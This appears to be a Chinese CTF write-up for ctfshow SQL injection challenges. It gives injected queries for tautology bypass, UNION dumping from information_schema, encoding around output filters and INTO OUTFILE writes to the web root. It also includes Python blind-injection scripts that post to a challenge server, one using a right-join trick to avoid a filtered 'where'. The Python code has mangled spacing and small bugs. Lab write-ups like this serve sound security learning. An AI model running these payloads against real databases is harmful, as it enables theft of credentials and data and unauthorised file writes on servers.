$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
其实很早很早以前完全看不懂 $_GET[] 周围的符号,以为是什么类似于 python f”aaaa{t}aaaa“ 这样子的变量引用. 其实 php 没那么高级,这里是用到了字符串拼接,而且 id 的值是字符串类型,要用引号包裹,所以 id 值的两个单引号被分别安排在了前后两个 sql 语句字符串里了。
第一题不愧是第一题,比较简单,拼接后的语句如下:
1
$sql = "select username,password from user where username !='flag' and id = '-1' or 1=1 -- ' limit 1;";
用户--注释掉了后面的内容,要注意的是用--注释的时候,注释符和注释内容之间要有空格
完成
web 172
这题相较上一题,区别在于用户名那列不能出现 flag 字样,这里我采用联合查询,注意:联合查询,第二个查询语句的查询结果会被拼接到以一个查询结果下面,所以前后两个查询语句的列数要一致
拼接后的 SQL 语句如下:
1 2
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '1' union select 1,password from ctfshow_user2 where username='flag' -- ' limit 1;";
输出如下:
这里用 1 代替了用户名,当然也有其他方法,比如说编码:
或者可以用 replace方法,比方说用 flaag 替换 flag
甚至直接换个位置,毕竟只检查用户名那列:
完整演示
当然,最完整的注入应该是从爆库爆表爆字段开始,这里演示一下完整过程:
首先爆库,SQL 语句为:
1 2
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '1' union select 1,database() -- ' limit 1;";
得到所有库名:
下一步爆表,SQL 语句为:
1 2
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') -- ' limit 1;";
得到所有表名:
下一步爆字段,SQL 语句为:
1 2 3
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2') -- ' limit 1;";
$sql = "select username,password from ctfshow_user3 where username !='flag' and id = '1' union select id,1,password from ctfshow_user2 where username='flag' -- ' limit 1;";
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '1' union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password), '1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')-- ' limit 1;";
这样得到结果:
再把小写英文字符换回数字
最后再转换成文本:
OVER
web 175
这次直接过滤了所有可打印字符,我最初的想法是把每个字符的16进制值加上一个数让它超过 7f 再返回,但好像没有成功,我也不知道这样可不可行,浏览了别人的 wp 似乎可以直接输出到文件,使用 into outfile 命令。(but不知道为什么前面一题用这个方法行不通呜呜呜)
SQL 语句:
1 2
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '1' union select username,password from ctfshow_user5 into outfile '/var/www/html/flag.txt' -- ' limit 1;";
tars = '{_-cxzasdqwerfvtgbyhnujmikolp1234567890}'# 考虑到 ctfShow 的 flag 都是小写的,并且以 ctfshow 开头 tmp = '' sign = 0 for i inrange(1, 50): for tar in tars: payload = { 'tableName': f"(ctfshow_user)where(substr(pass,1,{i}))regexp('{tmp + tar}')" } # print(payload) res = requests.post(url=url, data=payload) # print(res.text) if res.text.find("$user_count = 1;") > 0: tmp += tar sign = 1 break if sign == 1: sign = 0 print(tmp) continue if sign == 0: break print("+++++++++++++++") print(tmp)
一段时间后,完成!
web 184
这不太友好,连 where 和 sleep 都过滤了!
先 fuzz 一下,表名还是 ctfshow_user
因为过滤了 where ,我也不知道该怎么办,于是上网寻求了帮助,发现大佬们用了 right join 的方法,用 on 代替 where,于是自己要去了解了一下。Mysqsl 的 right join 语法是
1
select * from table1 right join table2 on table1.id=table2.id;
经过一番研究,这句话的逻辑是,查询出 table2 的整张表,然后依次循环查询结果的每一行,对每一行,又分别以 on 后的句子为条件在 table1 中查询。最后的行数计算方法是,打个比方,如果 table2 有五行,以 on 后句子为条件查询 table1 有六条结果,那最后输出的总行数为 5*6=30 行。
那么先设计一张表 ctfshow_user:
然后做一个简单的 right join:
这里将表分别命名成了 a 和 b,是为了方便写条件式。首先查询 b 表,能查询出五条数据,也就是图中 5 个红框,随后依次循环每条数据并以 on 后的条件进行查询。这里因为 on 后的条件是 1=1,所以应该是恒成立条件,那么表 a 中每一项数据都是匹配的,因此每一条表 b 的数据又对应了 5 条表 a 中的数据,这也是为什么上图中每个红框里又有五条数据。(这里我的个人理解就是,b表有n条数据,就循环多少次,循环体内是对 a 表的遍历,a 表有几行就进行几次循环,每一次循环内的判断条件是 on 后的语句)
基本理解意思后,回到题目,只输出行数。如果 on 后的条件不成立,那么 b 表有几行数据 count(*) 就是几
如果 on 后条件恒成立,那么就会输出 count(*) = 25,前面 1=1 就是个例子。
如果 on 后条件对 a 表某一行成立:
那么 b 表的每一行都能匹配到一个结果,count(*) = 5,和 on 条件全不成立结果是一样的,这样无法区分。但是如果条件是关于 b 表的话:
tars = '{_-cxzasdqwerfvtgbyhnujmikolp1234567890}'# 考虑到 ctfShow 的 flag 都是小写的,并且以 ctfshow 开头 tmp = '' sign = 0 for i inrange(1, 50): for tar in tars: payload = { 'tableName': f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,{i})regexp(chr({encode(tmp+tar)})))" } # print(payload) res = requests.post(url=url, data=payload) # print(res.text) if res.text.find("$user_count = 43;") > 0: tmp += tar sign = 1 break if sign == 1: sign = 0 print(tmp) continue if sign == 0: break print("+++++++++++++++") print(tmp)
url = "http://fd9f9520-7858-41c4-af1c-587d17fcd3fd.challenge.ctf.show:8080/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))" tars = '{_-cxzasdqwerfvtgbyhnujmikolp1234567890}' i = 8 flag = "ctfshow{"
defcreateNum(n): num = 'true' if num == 1: return'true' else: for i inrange(n - 1): num += '+true' return num
whileTrue: i += 1 for j inrange(127): ifchr(j) notin tars: continue data = { "tableName": payload.format(createNum(i), createNum(1), createNum(j)) } # print(data) response = requests.post(url=url, data=data) if"$user_count = 43;"in response.text: ifchr(j) != ".": flag += chr(j) # print(flag) break print(flag.lower())